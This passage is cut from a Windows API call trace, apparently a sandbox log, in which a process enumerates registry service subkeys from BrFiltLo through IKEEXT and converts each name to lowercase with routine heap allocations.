cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0230.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.889] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.889] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.889] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0230.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0230.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0230.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0230.893] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0230.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0230.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0230.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, 